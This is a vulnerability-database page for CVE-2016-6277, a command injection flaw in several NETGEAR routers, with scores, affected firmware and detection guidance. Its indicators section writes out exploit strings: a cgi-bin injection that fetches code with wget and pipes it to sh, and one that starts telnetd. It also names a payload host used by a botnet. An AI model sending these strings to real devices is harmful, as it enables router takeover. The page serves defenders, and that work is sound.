cbcvebase.
CVE-2016-6277
published 2016-12-14

CVE-2016-6277: NETGEAR R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta…

PriorityP193high8.8CVSS 3.1
AVNACLPRNUIRSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-09-07
Exploited in the wild
EPSS
99.78%
100.0th percentile
NETGEAR R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly other routers allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.

Affected

11 ranges
VendorProductVersion rangeFixed in
netgeard6220_firmware<= 1.0.0.22
netgeard6400_firmware<= 1.0.0.56
netgearr6250_firmware<= 1.0.4.6_10.1.12
netgearr6400_firmware<= 1.0.1.18
netgearr6700_firmware<= 1.0.1.14
netgearr6900_firmware<= 1.0.1.14
netgearr7000_firmware<= 1.0.7.2_1.1.93
netgearr7100lg_firmware<= 1.0.0.28
netgearr7300dst_firmware<= 1.0.0.46
netgearr7900_firmware<= 1.0.1.8
netgearr8000_firmware<= 1.0.3.26

Detection & IOCsextracted from sources · hover to see the quote

urlhxxp://185.246.152.173/bins/
urlhxxp://185.246.152.173/exploit/
ip185.246.152.173
hash57477e24a7e30d2863aca017afde50a2e2421ebb794dfe5335d93cfe2b5f7252
path/cgi-bin/;COMMAND
command/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh
commandhttp://RouterIP/;telnetd$IFS-p$IFS'45'
port8443
  • Detect HTTP GET requests to /cgi-bin/ paths containing shell metacharacters (semicolons) in the URI path info, characteristic of CVE-2016-6277 exploitation attempts against Netgear routers.
  • Monitor for HTTP requests to /cgi-bin/; URI pattern on ports 80 and 8443, as the WICKED botnet scanner specifically targets port 8443 for this CVE.
  • Detect use of $IFS as a space substitute in HTTP request URIs targeting /cgi-bin/, a common evasion technique used in exploitation of this vulnerability.
  • Look for WWW-Authenticate header responses containing 'Basic realm="NETGEAR R7000"' or 'Basic realm="NETGEAR R6400"' as reconnaissance indicators preceding exploitation.
  • Alert on outbound connections from Netgear router IPs to 185.246.152.173 following exploitation, as this host served WICKED botnet payloads (Owari/Omni variants).
  • Use IPS signature NETGEAR.WebServer.Module.Command.Injection to detect exploitation attempts against CVE-2016-6277.
  • Scan for the WICKED bot string markers '/bin/busybox WICKED' and 'WICKED: applet not found' in memory or network traffic to identify infected devices.
  • ·The WICKED botnet XOR-decrypts its configuration table with key 0x37; static string analysis alone will not reveal plaintext config strings without first applying this decryption.
  • ·The payload hosting directory at 185.246.152.173 was observed to rotate between Owari and Omni botnet samples; payloads at the same URL may differ over time.
  • ·The Metasploit module targets firmware version 1.0.7.2_1.1.93 and possibly earlier; patched Beta firmware versions listed in the NVD advisory are not vulnerable.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
vulncheck8.8HIGH
cisa8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.